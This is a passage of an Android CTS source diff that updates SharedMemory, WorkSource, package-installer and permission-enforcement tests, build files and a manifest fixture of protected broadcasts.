+ expected = 20;
+ try {
+ mRemote.write(0, expected);
+ fail("write shouldn't have worked, should be read only");
+ } catch (Exception e) {}
+
+ buffer.put(0, expected);
+ assertEquals(expected, buffer.get(0));
+ // Memory barrier
+ synchronized (sharedMemory) {}
+ assertEquals(expected, mRemote.read(0));
+ }
+ }
+
+ @Test
+ public void testUseAfterClose() throws RemoteException, ErrnoException {
+ ByteBuffer buffer;
+ try (SharedMemory sharedMemory = SharedMemory.create(null, 1)) {
+ buffer = sharedMemory.mapReadWrite();
+ mRemote.setup(sharedMemory, PROT_READ | PROT_WRITE);
+ }
+ byte expected = 5;
+ buffer.put(0, expected);
+ assertEquals(expected, buffer.get(0));
+ // Memory barrier
+ synchronized (buffer) {}
+ assertEquals(expected, mRemote.read(0));
+ expected = 10;
+ mRemote.write(0, expected);
+ // Memory barrier
+ synchronized (buffer) {}
+ assertEquals(expected, buffer.get(0));
+ SharedMemory.unmap(buffer);
+ }
+
+ @Test
+ public void testUseAfterUnmap() throws RemoteException, ErrnoException {
+ SharedMemory sharedMemory = SharedMemory.create(null, 1);
+ ByteBuffer buffer = sharedMemory.mapReadWrite();
+ byte expected = 5;
+ buffer.put(0, expected);
+ assertEquals(expected, buffer.get(0));
+ SharedMemory.unmap(buffer);
+ boolean failed = false;
+ try {
+ buffer.get(0);
+ failed = true;
+ } catch (Throwable t) { }
+ assertFalse(failed);
+ }
+
+ private static native boolean nWriteByte(SharedMemory memory, int index, byte value);
+
+ @Test
+ public void testNdkInterop() throws ErrnoException {
+ SharedMemory sharedMemory = SharedMemory.create("hello", 1024);
+ ByteBuffer buffer = sharedMemory.mapReadWrite();
+ assertEquals(0, buffer.get(0));
+ assertTrue(nWriteByte(sharedMemory, 0, (byte) 1));
+ assertEquals(1, buffer.get(0));
+ sharedMemory.close();
+ buffer.put(0, (byte) 5);
+ assertFalse(nWriteByte(sharedMemory, 0, (byte) 2));
+ assertEquals(5, buffer.get(0));
+ }
+
+ @Test(expected=IllegalArgumentException.class)
+ public void testInvalidCreate() throws ErrnoException {
+ SharedMemory.create(null, -1);
+ }
+
+ @Test(expected=IllegalArgumentException.class)
+ public void testInvalidMapProt() throws ErrnoException {
+ try (SharedMemory sharedMemory = SharedMemory.create(null, 1)) {
+ sharedMemory.map(-1, 0, 1);
+ }
+ }
+
+ @Test(expected=IllegalArgumentException.class)
+ public void testInvalidSetProt() throws ErrnoException {
+ try (SharedMemory sharedMemory = SharedMemory.create(null, 1)) {
+ sharedMemory.setProtect(-1);
+ }
+ }
+
+ @Test
+ public void testSetProtAddProt() throws ErrnoException {
+ try (SharedMemory sharedMemory = SharedMemory.create(null, 1)) {
+ assertTrue(sharedMemory.setProtect(OsConstants.PROT_READ));
+ assertTrue(sharedMemory.setProtect(OsConstants.PROT_READ));
+ assertFalse(sharedMemory.setProtect(OsConstants.PROT_READ | OsConstants.PROT_WRITE));
+ assertTrue(sharedMemory.setProtect(OsConstants.PROT_NONE));
+ assertFalse(sharedMemory.setProtect(OsConstants.PROT_READ));
+ }
+ }
+
+ @Test(expected=IllegalStateException.class)
+ public void testMapAfterClose() throws ErrnoException {
+ SharedMemory sharedMemory = SharedMemory.create(null, 1);
+ sharedMemory.close();
+ sharedMemory.mapReadWrite();
+ }
+
+ @Test(expected=ReadOnlyBufferException.class)
+ public void testWriteToReadOnly() throws ErrnoException {
+ try (SharedMemory sharedMemory = SharedMemory.create(null, 1)) {
+ sharedMemory.setProtect(PROT_READ);
+ ByteBuffer buffer = null;
+ try {
+ buffer = sharedMemory.mapReadWrite();
+ fail("Should have thrown an exception");
+ } catch (ErrnoException ex) {
+ assertEquals(OsConstants.EPERM, ex.errno);
+ }
+ buffer = sharedMemory.mapReadOnly();
+ assertTrue(buffer.isReadOnly());
+ buffer.put(0, (byte) 0);
+ }
+ }
+}
diff --git a/tests/tests/os/src/android/os/cts/WorkSourceTest.java b/tests/tests/os/src/android/os/cts/WorkSourceTest.java
index f3986b1..ff9d693 100644
--- a/tests/tests/os/src/android/os/cts/WorkSourceTest.java
+++ b/tests/tests/os/src/android/os/cts/WorkSourceTest.java
@@ -19,6 +19,8 @@
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
+import java.util.Arrays;
+
import android.os.WorkSource;
import android.test.AndroidTestCase;
@@ -142,7 +144,7 @@
fail(op + ": WorkSource is not null " + ws +", but expected null");
}
if (uids != null) {
- fail(op + "WorkSource is null, but expected non-null: " + uids);
+ fail(op + "WorkSource is null, but expected non-null: " + Arrays.toString(uids));
}
return;
}
@@ -162,7 +164,7 @@
fail(op + ": WorkSource is not null " + ws +", but expected null");
}
if (uids != null) {
- fail(op + "WorkSource is null, but expected non-null: " + uids);
+ fail(op + "WorkSource is null, but expected non-null: " + Arrays.toString(uids));
}
return;
}
diff --git a/tests/tests/packageinstaller/adminpackageinstaller/Android.mk b/tests/tests/packageinstaller/adminpackageinstaller/Android.mk
index a77f0c9..0e24292 100755
--- a/tests/tests/packageinstaller/adminpackageinstaller/Android.mk
+++ b/tests/tests/packageinstaller/adminpackageinstaller/Android.mk
@@ -26,11 +26,15 @@
LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_STATIC_JAVA_LIBRARIES := ub-uiautomator android-support-test android-support-v4
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ ub-uiautomator \
+ android-support-test \
+ android-support-v4 \
+ legacy-android-test
LOCAL_SDK_VERSION := test_current
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/packageinstaller/emptytestapp/Android.mk b/tests/tests/packageinstaller/emptytestapp/Android.mk
index c621852..d098318 100644
--- a/tests/tests/packageinstaller/emptytestapp/Android.mk
+++ b/tests/tests/packageinstaller/emptytestapp/Android.mk
@@ -25,6 +25,6 @@
LOCAL_SDK_VERSION := current
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/packageinstaller/externalsources/Android.mk b/tests/tests/packageinstaller/externalsources/Android.mk
index 805385a..d647738 100755
--- a/tests/tests/packageinstaller/externalsources/Android.mk
+++ b/tests/tests/packageinstaller/externalsources/Android.mk
@@ -22,8 +22,6 @@
LOCAL_PACKAGE_NAME := CtsExternalSourcesTestCases
-LOCAL_RESOURCE_DIR += $(LOCAL_PATH)/res
-
LOCAL_SRC_FILES := $(call all-java-files-under, src)
LOCAL_STATIC_JAVA_LIBRARIES := ub-uiautomator android-support-test android-support-v4
@@ -31,7 +29,7 @@
LOCAL_SDK_VERSION := current
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/packageinstaller/externalsources/AndroidManifest.xml b/tests/tests/packageinstaller/externalsources/AndroidManifest.xml
index 33d1d6e..8bcdd04 100755
--- a/tests/tests/packageinstaller/externalsources/AndroidManifest.xml
+++ b/tests/tests/packageinstaller/externalsources/AndroidManifest.xml
@@ -21,13 +21,6 @@
<application android:label="Cts External Sources Test">
<uses-library android:name="android.test.runner"/>
- <provider android:authorities="android.packageinstaller.externalsources.cts.fileprovider"
- android:name="android.support.v4.content.FileProvider"
- android:grantUriPermissions="true">
- <meta-data
- android:name="android.support.FILE_PROVIDER_PATHS"
- android:resource="@xml/file_paths" />
- </provider>
</application>
<instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
diff --git a/tests/tests/packageinstaller/externalsources/AndroidTest.xml b/tests/tests/packageinstaller/externalsources/AndroidTest.xml
index 39d2d67..2d782d8 100644
--- a/tests/tests/packageinstaller/externalsources/AndroidTest.xml
+++ b/tests/tests/packageinstaller/externalsources/AndroidTest.xml
@@ -17,16 +17,6 @@
<configuration description="Config for CTS External Sources test cases">
<option name="config-descriptor:metadata" key="component" value="framework" />
- <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
- <option name="run-command" value="mkdir -p /data/local/tmp/cts/externalsources" />
- <option name="teardown-command" value="rm -rf /data/local/tmp/cts"/>
- </target_preparer>
-
- <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
- <option name="cleanup" value="true" />
- <option name="push" value="CtsEmptyTestApp.apk->/data/local/tmp/cts/externalsources/CtsEmptyTestApp.apk" />
- </target_preparer>
-
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsExternalSourcesTestCases.apk" />
@@ -34,7 +24,7 @@
<test class="com.android.tradefed.testtype.AndroidJUnitTest" >
<option name="package" value="android.packageinstaller.externalsources.cts" />
- <option name="runtime-hint" value="1m" />
+ <option name="runtime-hint" value="10s" />
</test>
</configuration>
diff --git a/tests/tests/packageinstaller/externalsources/res/xml/file_paths.xml b/tests/tests/packageinstaller/externalsources/res/xml/file_paths.xml
deleted file mode 100644
index 173435b..0000000
--- a/tests/tests/packageinstaller/externalsources/res/xml/file_paths.xml
+++ /dev/null
@@ -1,19 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2017 The Android Open Source Project
-
- Licensed under the Apache License, Version 2.0 (the "License");
- you may not use this file except in compliance with the License.
- You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
- Unless required by applicable law or agreed to in writing, software
- distributed under the License is distributed on an "AS IS" BASIS,
- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- See the License for the specific language governing permissions and
- limitations under the License.
--->
-
-<paths xmlns:android="http://schemas.android.com/apk/res/android">
- <files-path name="apk" path="/" />
-</paths>
\ No newline at end of file
diff --git a/tests/tests/packageinstaller/externalsources/src/android/packageinstaller/externalsources/cts/ExternalSourcesTest.java b/tests/tests/packageinstaller/externalsources/src/android/packageinstaller/externalsources/cts/ExternalSourcesTest.java
index e10e278..921f5f1 100644
--- a/tests/tests/packageinstaller/externalsources/src/android/packageinstaller/externalsources/cts/ExternalSourcesTest.java
+++ b/tests/tests/packageinstaller/externalsources/src/android/packageinstaller/externalsources/cts/ExternalSourcesTest.java
@@ -15,122 +15,41 @@
*/
package android.packageinstaller.externalsources.cts;
-import android.app.Instrumentation;
import android.content.Context;
import android.content.Intent;
import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
+import android.provider.Settings;
import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.MediumTest;
+import android.support.test.filters.SmallTest;
import android.support.test.runner.AndroidJUnit4;
-import android.support.test.uiautomator.By;
-import android.support.test.uiautomator.BySelector;
import android.support.test.uiautomator.UiDevice;
-import android.support.test.uiautomator.UiObject2;
-import android.support.test.uiautomator.Until;
-import android.support.v4.content.FileProvider;
-import android.util.Log;
import org.junit.After;
import org.junit.Assert;
import org.junit.Before;
-import org.junit.BeforeClass;
import org.junit.Test;
import org.junit.runner.RunWith;
-import java.io.File;
-import java.io.FileInputStream;
-import java.io.FileOutputStream;
import java.io.IOException;
@RunWith(AndroidJUnit4.class)
-@MediumTest
+@SmallTest
public class ExternalSourcesTest {
- private static final String TAG = ExternalSourcesTest.class.getSimpleName();
- private static final String TEST_APK_NAME = "CtsEmptyTestApp.apk";
- private static final String TEST_APK_EXTERNAL_LOCATION = "/data/local/tmp/cts/externalsources";
- private static final String CONTENT_AUTHORITY =
- "android.packageinstaller.externalsources.cts.fileprovider";
- private static final String PACKAGE_INSTALLER_PACKAGE_NAME = "com.android.packageinstaller";
- private static final String INSTALL_CONFIRM_TEXT_ID = "install_confirm_question";
- private static final String WM_DISMISS_KEYGUARD_COMMAND = "wm dismiss-keyguard";
- private static final String ALERT_DIALOG_TITLE_ID = "android:id/alertTitle";
-
- private static final long WAIT_FOR_UI_TIMEOUT = 5000;
-
private Context mContext;
private PackageManager mPm;
- private Instrumentation mInstrumentation;
private String mPackageName;
- private File mApkFile;
private UiDevice mUiDevice;
-
- @BeforeClass
- public static void setUpOnce() throws IOException {
- File srcApkFile = new File(TEST_APK_EXTERNAL_LOCATION, TEST_APK_NAME);
- File destApkFile = new File(InstrumentationRegistry.getTargetContext().getFilesDir(),
- TEST_APK_NAME);
- copyFile(srcApkFile, destApkFile);
- }
+ private boolean mHasFeature;
@Before
public void setUp() throws Exception {
mContext = InstrumentationRegistry.getTargetContext();
- mInstrumentation = InstrumentationRegistry.getInstrumentation();
mPm = mContext.getPackageManager();
mPackageName = mContext.getPackageName();
- mApkFile = new File(mContext.getFilesDir(), TEST_APK_NAME);
- mUiDevice = UiDevice.getInstance(mInstrumentation);
- if (!mUiDevice.isScreenOn()) {
- mUiDevice.wakeUp();
- }
- mUiDevice.executeShellCommand(WM_DISMISS_KEYGUARD_COMMAND);
- }
-
- private static void copyFile(File srcFile, File destFile) throws IOException {
- if (destFile.exists()) {
- destFile.delete();
- }
- FileInputStream inputStream = new FileInputStream(srcFile);
- FileOutputStream out = new FileOutputStream(destFile);
- try {
- byte[] buffer = new byte[4096];
- int bytesRead;
- while ((bytesRead = inputStream.read(buffer)) >= 0) {
- out.write(buffer, 0, bytesRead);
- }
- Log.d(TAG, "copied file " + srcFile + " to " + destFile);
- } finally {
- out.flush();
- try {
- out.getFD().sync();
- } catch (IOException e) {
- }
- out.close();
- inputStream.close();
- }
- }
-
- private void launchPackageInstaller() {
- Intent intent = new Intent(Intent.ACTION_INSTALL_PACKAGE);
- intent.setData(FileProvider.getUriForFile(mContext, CONTENT_AUTHORITY, mApkFile));
- intent.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
- Log.d(TAG, "Starting intent with uri " + intent.getDataString());
- mContext.startActivity(intent);
- }
-
- private void assertInstallAllowed(String errorMessage) {
- BySelector selector = By.res(PACKAGE_INSTALLER_PACKAGE_NAME, INSTALL_CONFIRM_TEXT_ID);
- UiObject2 uiObject = mUiDevice.wait(Until.findObject(selector), WAIT_FOR_UI_TIMEOUT);
- Assert.assertNotNull(errorMessage, uiObject);
- mUiDevice.pressBack();
- }
-
- private void assertInstallBlocked(String errorMessage) {
- BySelector selector = By.res(ALERT_DIALOG_TITLE_ID);
- UiObject2 settingsButton = mUiDevice.wait(Until.findObject(selector), WAIT_FOR_UI_TIMEOUT);
- Assert.assertNotNull(errorMessage, settingsButton);
- mUiDevice.pressBack();
+ mUiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+ mHasFeature = !mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_WATCH);
}
private void setAppOpsMode(String mode) throws IOException {
@@ -144,35 +63,39 @@
@Test
public void blockedSourceTest() throws Exception {
setAppOpsMode("deny");
- boolean isTrusted = mPm.canRequestPackageInstalls();
+ final boolean isTrusted = mPm.canRequestPackageInstalls();
Assert.assertFalse("Package " + mPackageName
+ " allowed to install packages after setting app op to errored", isTrusted);
- launchPackageInstaller();
- assertInstallBlocked("Install blocking dialog not shown when app op set to errored");
}
@Test
public void allowedSourceTest() throws Exception {
setAppOpsMode("allow");
- boolean isTrusted = mPm.canRequestPackageInstalls();
+ final boolean isTrusted = mPm.canRequestPackageInstalls();
Assert.assertTrue("Package " + mPackageName
+ " blocked from installing packages after setting app op to allowed", isTrusted);
- launchPackageInstaller();
- assertInstallAllowed("Install confirmation not shown when app op set to allowed");
}
@Test
public void defaultSourceTest() throws Exception {
- boolean isTrusted = mPm.canRequestPackageInstalls();
+ setAppOpsMode("default");
+ final boolean isTrusted = mPm.canRequestPackageInstalls();
Assert.assertFalse("Package " + mPackageName
+ " with default app ops state allowed to install packages", isTrusted);
- launchPackageInstaller();
- assertInstallBlocked("Install blocking dialog not shown when app op set to default");
+ }
+
+ @Test
+ public void testManageUnknownSourcesExists() {
+ if (!mHasFeature) {
+ return;
+ }
+ Intent manageUnknownSources = new Intent(Settings.ACTION_MANAGE_UNKNOWN_APP_SOURCES);
+ ResolveInfo info = mPm.resolveActivity(manageUnknownSources, 0);
+ Assert.assertNotNull("No activity found for " + manageUnknownSources.getAction(), info);
}
@After
public void tearDown() throws Exception {
- mUiDevice.pressHome();
setAppOpsMode("default");
}
}
diff --git a/tests/tests/permission/Android.mk b/tests/tests/permission/Android.mk
index 68fa193..b24774f 100644
--- a/tests/tests/permission/Android.mk
+++ b/tests/tests/permission/Android.mk
@@ -22,7 +22,7 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
# Include both the 32 and 64 bit versions
LOCAL_MULTILIB := both
diff --git a/tests/tests/permission/jni/Android.mk b/tests/tests/permission/jni/Android.mk
index 91c0540..2e64d47 100644
--- a/tests/tests/permission/jni/Android.mk
+++ b/tests/tests/permission/jni/Android.mk
@@ -31,4 +31,6 @@
LOCAL_SDK_VERSION := 23
LOCAL_CPPFLAGS := -std=gnu++11
+LOCAL_CFLAGS := -Wno-unused-parameter
+
include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/tests/permission/res/drawable/robot.png b/tests/tests/permission/res/drawable/robot.png
new file mode 100644
index 0000000..8a9e698
--- /dev/null
+++ b/tests/tests/permission/res/drawable/robot.png
Binary files differ
diff --git a/tests/tests/permission/src/android/permission/cts/FileSystemPermissionTest.java b/tests/tests/permission/src/android/permission/cts/FileSystemPermissionTest.java
index 3a97129..bb9f868 100644
--- a/tests/tests/permission/src/android/permission/cts/FileSystemPermissionTest.java
+++ b/tests/tests/permission/src/android/permission/cts/FileSystemPermissionTest.java
@@ -169,6 +169,24 @@
assertFalse(f.canExecute());
}
+ /* b/26813932 */
+ @MediumTest
+ public void testProcInterruptsNotReadable() throws Exception {
+ File f = new File("/proc/interrupts");
+ assertFalse(f.canRead());
+ assertFalse(f.canWrite());
+ assertFalse(f.canExecute());
+ }
+
+ /* b/26813932 */
+ @MediumTest
+ public void testProcStatNotReadable() throws Exception {
+ File f = new File("/proc/stat");
+ assertFalse(f.canRead());
+ assertFalse(f.canWrite());
+ assertFalse(f.canExecute());
+ }
+
@MediumTest
public void testDevMemSane() throws Exception {
File f = new File("/dev/mem");
diff --git a/tests/tests/permission/src/android/permission/cts/NoWallpaperPermissionsTest.java b/tests/tests/permission/src/android/permission/cts/NoWallpaperPermissionsTest.java
new file mode 100644
index 0000000..ad32923
--- /dev/null
+++ b/tests/tests/permission/src/android/permission/cts/NoWallpaperPermissionsTest.java
@@ -0,0 +1,172 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+
+package android.permission.cts;
+
+import android.app.WallpaperManager;
+import android.content.Context;
+import android.graphics.Bitmap;
+import android.media.MediaPlayer;
+import android.net.wifi.WifiManager;
+import android.net.wifi.WifiManager.WifiLock;
+import android.os.PowerManager;
+import android.test.AndroidTestCase;
+import android.test.suitebuilder.annotation.SmallTest;
+
+import java.io.ByteArrayInputStream;
+import java.io.IOException;
+
+import static android.app.WallpaperManager.FLAG_SYSTEM;
+import static android.app.WallpaperManager.FLAG_LOCK;
+
+/**
+ * Verify that Wallpaper-related operations enforce the correct permissions.
+ */
+public class NoWallpaperPermissionsTest extends AndroidTestCase {
+ private WallpaperManager mWM;
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+ mWM = (WallpaperManager) mContext.getSystemService(Context.WALLPAPER_SERVICE);
+ }
+
+ /**
+ * Verify that the setResource(...) methods enforce the SET_WALLPAPER permission
+ */
+ @SmallTest
+ public void testSetResource() throws IOException {
+ if (wallpaperNotSupported()) {
+ return;
+ }
+
+ try {
+ mWM.setResource(R.drawable.robot);
+ fail("WallpaperManager.setResource(id) did not enforce SET_WALLPAPER");
+ } catch (SecurityException expected) { /* expected */ }
+
+ try {
+ mWM.setResource(R.drawable.robot, FLAG_LOCK);
+ fail("WallpaperManager.setResource(id, which) did not enforce SET_WALLPAPER");
+ } catch (SecurityException expected) { /* expected */ }
+ }
+
+ /**
+ * Verify that the setBitmap(...) methods enforce the SET_WALLPAPER permission
+ */
+ @SmallTest
+ public void testSetBitmap() throws IOException {
+ if (wallpaperNotSupported()) {
+ return;
+ }
+
+ Bitmap b = Bitmap.createBitmap(160, 120, Bitmap.Config.RGB_565);
+
+ try {
+ mWM.setBitmap(b);
+ fail("setBitmap(b) did not enforce SET_WALLPAPER");
+ } catch (SecurityException expected) { /* expected */ }
+
+ try {
+ mWM.setBitmap(b, null, false);
+ fail("setBitmap(b, crop, allowBackup) did not enforce SET_WALLPAPER");
+ } catch (SecurityException expected) { /* expected */ }
+
+ try {
+ mWM.setBitmap(b, null, false, FLAG_SYSTEM);
+ fail("setBitmap(b, crop, allowBackup, which) did not enforce SET_WALLPAPER");
+ } catch (SecurityException expected) { /* expected */ }
+ }
+
+ /**
+ * Verify that the setStream(...) methods enforce the SET_WALLPAPER permission
+ */
+ @SmallTest
+ public void testSetStream() throws IOException {
+ if (wallpaperNotSupported()) {
+ return;
+ }
+
+ ByteArrayInputStream stream = new ByteArrayInputStream(new byte[32]);
+
+ try {
+ mWM.setStream(stream);
+ fail("setStream(stream) did not enforce SET_WALLPAPER");
+ } catch (SecurityException expected) { /* expected */ }
+
+ try {
+ mWM.setStream(stream, null, false);
+ fail("setStream(stream, crop, allowBackup) did not enforce SET_WALLPAPER");
+ } catch (SecurityException expected) { /* expected */ }
+
+ try {
+ mWM.setStream(stream, null, false, FLAG_LOCK);
+ fail("setStream(stream, crop, allowBackup, which) did not enforce SET_WALLPAPER");
+ } catch (SecurityException expected) { /* expected */ }
+ }
+
+ /**
+ * Verify that the clearWallpaper(...) methods enforce the SET_WALLPAPER permission
+ */
+ @SmallTest
+ public void testClearWallpaper() throws IOException {
+ if (wallpaperNotSupported()) {
+ return;
+ }
+
+ try {
+ mWM.clear();
+ fail("clear() did not enforce SET_WALLPAPER");
+ } catch (SecurityException expected) { /* expected */ }
+
+ try {
+ mWM.clear(FLAG_SYSTEM);
+ fail("clear(which) did not enforce SET_WALLPAPER");
+ } catch (SecurityException expected) { /* expected */ }
+ }
+
+ /**
+ * Verify that reading the current wallpaper requires READ_EXTERNAL_STORAGE
+ */
+ @SmallTest
+ public void testReadWallpaper() {
+ if (wallpaperNotSupported()) {
+ return;
+ }
+
+ try {
+ /* ignore result */ mWM.getFastDrawable();
+ fail("getFastDrawable() did not enforce READ_EXTERNAL_STORAGE");
+ } catch (SecurityException expected) { /* expected */ }
+
+ try {
+ /* ignore result */ mWM.peekFastDrawable();
+ fail("peekFastDrawable() did not enforce READ_EXTERNAL_STORAGE");
+ } catch (SecurityException expected) { /* expected */ }
+
+ try {
+ /* ignore result */ mWM.getWallpaperFile(FLAG_SYSTEM);
+ fail("getWallpaperFile(FLAG_SYSTEM) did not enforce READ_EXTERNAL_STORAGE");
+ } catch (SecurityException expected) { /* expected */ }
+ }
+
+ // ---------- Utility methods ----------
+
+ private boolean wallpaperNotSupported() {
+ return !(mWM.isWallpaperSupported() && mWM.isSetWallpaperAllowed());
+ }
+}
diff --git a/tests/tests/permission/src/android/permission/cts/ServicePermissionTest.java b/tests/tests/permission/src/android/permission/cts/ServicePermissionTest.java
new file mode 100644
index 0000000..6c10f1d
--- /dev/null
+++ b/tests/tests/permission/src/android/permission/cts/ServicePermissionTest.java
@@ -0,0 +1,75 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.permission.cts;
+
+import android.content.pm.PackageInfo;
+import android.content.pm.PackageManager;
+import android.test.AndroidTestCase;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Objects;
+
+/**
+ * The security designs of many system features require that a special
+ * permission is only ever granted to the core system (typically
+ * {@code system_server}), since it's the only process that should be binding
+ * into sensitive app code.
+ * <p>
+ * No apps outside the {@code system_server} should <em>ever</em> attempt to
+ * acquire these permissions.
+ */
+public class ServicePermissionTest extends AndroidTestCase {
+ public static String[] sServicePermissions = {
+ android.Manifest.permission.ACCOUNT_MANAGER,
+ android.Manifest.permission.BIND_ACCESSIBILITY_SERVICE,
+ android.Manifest.permission.BIND_AUTOFILL_SERVICE,
+ android.Manifest.permission.BIND_CHOOSER_TARGET_SERVICE,
+ android.Manifest.permission.BIND_CONDITION_PROVIDER_SERVICE,
+ // android.Manifest.permission.BIND_DEVICE_ADMIN,
+ android.Manifest.permission.BIND_DREAM_SERVICE,
+ android.Manifest.permission.BIND_INPUT_METHOD,
+ android.Manifest.permission.BIND_MIDI_DEVICE_SERVICE,
+ // android.Manifest.permission.BIND_NFC_SERVICE,
+ android.Manifest.permission.BIND_NOTIFICATION_LISTENER_SERVICE,
+ android.Manifest.permission.BIND_PRINT_SERVICE,
+ // android.Manifest.permission.BIND_QUICK_SETTINGS_TILE,
+ android.Manifest.permission.BIND_TEXT_SERVICE,
+ android.Manifest.permission.BIND_VOICE_INTERACTION,
+ android.Manifest.permission.BIND_VPN_SERVICE,
+ android.Manifest.permission.BIND_VR_LISTENER_SERVICE,
+ };
+
+ public void testServicePermissions() {
+ final PackageManager pm = getContext().getPackageManager();
+
+ final List<String> failures = new ArrayList<>();
+ for (String perm : sServicePermissions) {
+ final List<PackageInfo> holding = pm.getPackagesHoldingPermissions(
+ new String[] { perm }, PackageManager.MATCH_UNINSTALLED_PACKAGES);
+ for (PackageInfo pi : holding) {
+ if (!Objects.equals("android", pi.packageName)) {
+ failures.add(perm + " held by " + pi.packageName);
+ }
+ }
+ }
+ if (!failures.isEmpty()) {
+ fail("Found permissions granted to packages outside of the core system: "
+ + failures.toString());
+ }
+ }
+}
diff --git a/tests/tests/permission2/Android.mk b/tests/tests/permission2/Android.mk
index d4f48f4..062aeb7 100755
--- a/tests/tests/permission2/Android.mk
+++ b/tests/tests/permission2/Android.mk
@@ -22,11 +22,14 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_JAVA_LIBRARIES := telephony-common
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ compatibility-device-util \
+ ctstestrunner \
+ legacy-android-test
LOCAL_SRC_FILES := $(call all-java-files-under, src)
diff --git a/tests/tests/permission2/res/raw/android_manifest.xml b/tests/tests/permission2/res/raw/android_manifest.xml
index 6050776..b23c6ab 100644
--- a/tests/tests/permission2/res/raw/android_manifest.xml
+++ b/tests/tests/permission2/res/raw/android_manifest.xml
@@ -94,6 +94,7 @@
<protected-broadcast android:name="android.os.action.POWER_SAVE_TEMP_WHITELIST_CHANGED" />
<protected-broadcast android:name="android.os.action.POWER_SAVE_MODE_CHANGED_INTERNAL" />
+ <!-- @deprecated This is rarely used and will be phased out soon. -->
<protected-broadcast android:name="android.os.action.SCREEN_BRIGHTNESS_BOOST_CHANGED" />
<protected-broadcast android:name="android.app.action.ENTER_CAR_MODE" />
@@ -146,6 +147,7 @@
<protected-broadcast android:name="android.bluetooth.device.action.CONNECTION_ACCESS_CANCEL" />
<protected-broadcast android:name="android.bluetooth.device.action.CONNECTION_ACCESS_REQUEST" />
<protected-broadcast android:name="android.bluetooth.device.action.SDP_RECORD" />
+ <protected-broadcast android:name="android.bluetooth.device.action.BATTERY_LEVEL_CHANGED" />
<protected-broadcast android:name="android.bluetooth.devicepicker.action.LAUNCH" />
<protected-broadcast android:name="android.bluetooth.devicepicker.action.DEVICE_SELECTED" />
<protected-broadcast
@@ -277,6 +279,7 @@
<protected-broadcast android:name="com.android.nfc.cardemulation.action.CLOSE_TAP_DIALOG" />
<protected-broadcast android:name="com.android.nfc.handover.action.ALLOW_CONNECT" />
<protected-broadcast android:name="com.android.nfc.handover.action.DENY_CONNECT" />
+ <protected-broadcast android:name="com.android.nfc.handover.action.TIMEOUT_CONNECT" />
<protected-broadcast android:name="com.android.nfc_extras.action.RF_FIELD_ON_DETECTED" />
<protected-broadcast android:name="com.android.nfc_extras.action.RF_FIELD_OFF_DETECTED" />
<protected-broadcast android:name="com.android.nfc_extras.action.AID_SELECTED" />
@@ -285,6 +288,7 @@
<protected-broadcast android:name="android.btopp.intent.action.STOP_HANDOVER_TRANSFER" />
<protected-broadcast android:name="android.nfc.handover.intent.action.HANDOVER_SEND" />
<protected-broadcast android:name="android.nfc.handover.intent.action.HANDOVER_SEND_MULTIPLE" />
+ <protected-broadcast android:name="com.android.nfc.handover.action.CANCEL_HANDOVER_TRANSFER" />
<protected-broadcast android:name="android.intent.action.CLEAR_DNS_CACHE" />
<protected-broadcast android:name="android.intent.action.PROXY_CHANGE" />
@@ -301,6 +305,7 @@
<protected-broadcast android:name="com.android.server.WifiManager.action.DEVICE_IDLE" />
